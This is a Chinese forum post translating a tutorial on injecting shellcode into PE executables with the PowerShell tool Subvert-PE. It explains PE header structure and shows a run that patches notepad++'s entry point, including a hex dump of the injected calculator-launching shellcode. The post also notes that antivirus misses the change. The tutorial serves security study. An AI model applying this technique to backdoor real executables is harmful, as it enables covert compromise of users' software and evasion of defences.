用户
搜索
  • TA的每日心情
    奋斗
    昨天 16:32
  • 签到天数: 17 天

    连续签到: 1 天

    [LV.4]经常看看II

    超级版主

    320229344

    Rank: 8Rank: 8

    36

    主题

    131

    帖子

    115

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2016-4-17

    i春秋认证春秋文阁白帽传说i春秋签约作者i春秋推荐小组积极活跃奖燕

    发表于 2018-5-4 11:27:02 37871
    本帖最后由 浅安 于 2018-5-4 03:30 编辑

    今天我们将看看以编程的方式把shellcode注入到磁盘上的PE可执行文件中,请注意我们仅仅只是在谈论exe文件,PE文件格式包括许多其他扩展(dll,ocx,sys,cpl,fon,...)。手动执行此操作非常简单,关键点在于需要确保PE的功能没有改变,以免引起怀疑。但手动注入往往不实用,你需要先复制一份PE,在你自己主机上更改它,然后替换目标机器中的该文件。为了简化这个过程,我创建了一个Subvert-PE程序,这个程序可以自动化重写一个PE可执行文件(x86&x64)。修补入口点的偏移,注入shellcode并将执行流返回到合法代码中。我喜欢把工具给一些有机会理解它如何工作的人使用。这篇文章比较侧重于审查PE格式的相关部分,在了解PE结构后,用Powershell修改它就只是小儿科了。

    此帖子可能包含Microsoft官方文档中的信息/摘录/图像,这些信息在DMCA合理使用政策下提供。如果有人对此有任何问题,请给我发电子邮件。
    链接:
    [Microsoft Official PE-COFF Documentation (MSDN)]
    [Portable Executable (Corkami)]

    工具:
    [Subvert-PE.ps1]
    PE 头

    学习新知识的最好的方式是有一个具体的例子。为了在实践中奠定基础,我们将一步步地完成32位notepad++的PE头。PE头通常包括以下组件:MS-DOS头,富签名,PE头,可选头和表分区。
    我不会为每个section高亮所有有意义的WORD/DWORD/QWORD,因为这是一个粗略的概述。

    MS-DOS头:

    在这个例子中,DOS 头从映像的底部(0x00)一直延伸到0x7F(127字节)。

    1.png

    在这里需要记住的重要东西是,在偏移位置0x3C(60字节)处,是一个提供实际PE头偏移位置的DWORD。PE头的偏移位置不是固定不变的,它会随着二进制程序的变化而变化。当然,对那些感兴趣的人,静态"MZ"标识符对应于MS-DOS开发人员之一Mark Zbikowski(首字母)。

    富签名(Rich Signature):


    在这里提到富签名主要是由于好奇。尽管PE格式已经有很久的历史(window3.1 - 1993),这一部分已经被微软取消文档记录(停止支持)。简而言之,它存储有关PE编译的数据。有关深入概述,可以在[NTCORE](http://www.ntcore.com/files/richsign.htm)阅读Daniel Pistelli的分析.

    2.png

    PE头:

    PE头由ASCII签名和标准COFF文件头组成,应该注意到在富签名和PE头之间存在空字节填充。对于Notepad++而言,填充的大小为0x0F(15字节),但是大小因PE而的不同而改变。

    3.png

    下面提供了更完整的图片,你可以找到所有有关"机器类型(Machine Type)"和"特征(Characteristics)"的可能的值。这些都来自微软的官方文档。

    4.png

    5.png

    可选标头:

    可选标头向加载程序提供一些加载信息,这一部分仅是可选的,通常它不存在于对象文件中。可选标头的大小是会变化的,在上方PE头中由可选标头大小表示。

    6.png

    许多部分没有高亮,如果想要了解更完整的概述请参阅微软官方文档和[Corkami的分析]下方的图片展示了所有可能的"Subsystem Type"(子系统值)字段值。

    7.png

    表分区:表分区紧紧地跟在可选标头后面,这个顺序是必须的,因为图像没有包含指向这一部分的指针,偏移位置是根据PE头的组合大小计算的。每一个被定义的区段大小为0x28(40字节)。区段的数目可以从PE头中获取。

    8.png

    下方的图片展示了所有可能的区段标记值,然而通常情况下只有少数几个会经常性地出现(可读/可执行,初始化数据,可丢弃)

    9.png

    10.png

    11.png
    上面的表只展示Notepad++PE的第一区段,其他区段(总共有4个区段),直接跟随".text"区段。

    12.png

    用Powershell操作二进制文件

    现在我们对PE头格式有了初步了解,我们可以开始查看从字节到二进制文件的读取和写入字节。

    操作数组:

    我们首先该看的是16进制字节和整数之间的相互转换。

    13.png

    非常有趣,但是主要目标仍然是编辑磁盘上的文件。我创建了一个简单的4字节文件来说明如何实现。

    14.png

    编辑PE镜像

    是时候把理论付诸实践了。为了解决编辑PE镜像的问题,我们将给自己定一个简单的目标,找到模块入口点偏移位置,并用0xAABBCCDD重写它。

    15.png

    在终端中运行此脚本,会产生以下结果。

    16.png

    我们看看在免疫系统(Immunity)中加载PE的时候会出现什么。

    17.png

    你会发现入口点并不是0xAABBCCDD 而是0xAAFBCCDD。这是意料之中的,是因为PE加载到内存的时候,入口点偏移量会被添加到镜像库中,而镜像库的偏移位置为(0x00400000)。从我们的角度来看,这并不重要,因为我们所做的任何动态计算都会自动添加到镜像库中。如果是rebase/ASLR,这个值可以是静态也可以是动态。

    18.png

    Subvert-PE

    是时候起飞了!如果我们要修改PE,通常需要以下几个步骤:
    (1)计算第一个可执行部分到空字节填充部分的偏移量;
    (2)将模块入口点替换为第一步计算的偏移量
    (3)把我们的shellcode写到那个偏移量上。
    (4)将存根添加到shellcode中,该存根跳转到合法入口点。

    下的图片描述了以上执行流程。

    19.png

    如上面的介绍所说,执行这些步骤并不比计算数组中的偏移量更复杂。为此,我创建了一个程序(Subvert-PE),可以动态修改PE镜像,并且支持x86和x64。Subvert-PE函数包含shellcode,用于启动计算器,此部分由SkyLined编写。有关这一部分shellcode的更多细节可以在[这里]找到

    让我们来看看一个实际的例子。
    [AppleScript] 纯文本查看 复制代码
    ```
    PS C:\Users\b33f> . .\ToolKit\Subvert-PE.ps1
    
    PS C:\Users\b33f> Get-Help Subvert-PE -Full
    
    NAME
        Subvert-PE
    
    SYNOPSIS
        Inject shellcode into a PE image while retaining the PE functionality.
    
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
    
    SYNTAX
        Subvert-PE -Path <String> [-Write] [<CommonParameters>]
    
    
    DESCRIPTION
        Parse a PE image, inject shellcode at the end of the code section and dynamically patch the entry
        point. After the shellcode executes, program execution is handed back over to the legitimate PE entry
        point.
    
    
    PARAMETERS
        -Path <String>
            Path to portable executable.
    
            Required?                    true
            Position?                    named
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?
    
        -Write [<SwitchParameter>]
            Inject shellcode and overwrite the PE. If omitted simply display "Entry Point", "Preferred Image
            Base" and dump the memory at the null-byte location.
    
            Required?                    false
            Position?                    named
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?
    
        <CommonParameters>
            This cmdlet supports the common parameters: Verbose, Debug,
            ErrorAction, ErrorVariable, WarningAction, WarningVariable,
            OutBuffer and OutVariable. For more information, type,
            "get-help about_commonparameters".
    
    INPUTS
    
    OUTPUTS
    
        -------------------------- EXAMPLE 1 --------------------------
    
        C:\PS>Subvert-PE -Path C:\Path\To\PE.exe
    
        -------------------------- EXAMPLE 2 --------------------------
    
        C:\PS>Subvert-PE -Path C:\Path\To\PE.exe -Write
    
    RELATED LINKS
         [url]http://www.fuzzysecurity.com/[/url]
    
         
    PS C:\Users\b33f> Subvert-PE -Path 'C:\Program Files\Notepad++\notepad++.exe' -Write
    
    Legitimate Entry Point Offset:   0x000B7159
    Preferred PE Image Base:         0x00400000
    
    Null-Byte Padding dump:
    
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
    Modified Entry Point Offset:     0x000DA6B6
    Inject Far JMP:                  0xe9fffdca54
    
    Null-Byte Padding After:
    
    31 D2 52 68 63 61 6C 63 89 E6 52 56 64 8B 72 30 8B 76 0C 8B 76
    AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 4C
    24 01 F9 42 AD 81 3C 07 57 69 6E 45 75 F5 0F B7 54 51 FE 8B 74
    1C 01 FE 03 3C 96 FF D7 E9 54 CA FD FF 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
    ```
    下面的屏幕截图我们可以看到notepad++正常启动,并且同时打开了计算器!

    20.png

    下面的屏幕截图展示了一些样例注入,平台分别为win7专业版32位和win8企业版

    21.png

    22.png

    注意事项:

    (1)在PE可执行程序中,此脚本大约有90%的成功率;但在64位系统中只有50%的成功率。这是因为在x64系统中空字节填充位非常小。一般来说你不应该使用"-Write"选项来执行脚本,
    (2)显然,shellcode可以用更有价值的代码替换,为了避免滥用这里不做介绍。有几件事你需要记住:由于我们需要维持执行流,所以shellcode没有退出功能,当shellcode作为PE代码部分的时候无法自解压,它不可写。在少数测试用例中,PE要求初始注册表值正确地运行,因此,在执行之后需要恢复这些值。
    (3)注入已签名二进制文件将使签名失效,但这只有在取证的时候需要关心。此外,因为我们在定制可执行文件中隐藏了shellcode,杀软无法知道正在发生什么,并且会很高兴地让程序运行。我发现Comodo已经注意到了对PE的修改,它隔离了可执行文件,但仍然允许执行。我怀疑它检测到入口点已经被篡改了。
    (4)不要乱搞事,这个工具只有在授权之后才能创建使用!



    作者:b33f
    翻译:i春秋翻译小组-北风乱
    责任编辑:jishuzhain
    翻译来源:http://www.fuzzysecurity.com/tutorials/20.html








    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    这和感染有啥区别呢。。
    使用道具 举报 回复
    发表于 2018-5-5 16:36:53
    使用道具 举报 回复
    onls辜釉 i春秋作家 春秋认证√作家团颜值担当 i春秋认证 秦 春秋文阁 i春秋签约作者
    地板
    发表于 2018-5-7 10:13:46
    本帖最后由 浅安 于 2018-5-7 03:44 编辑

    同样是男人,我什么时候才能像你一样优秀i。
    信息安全菜鸟/社会主义接班人
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册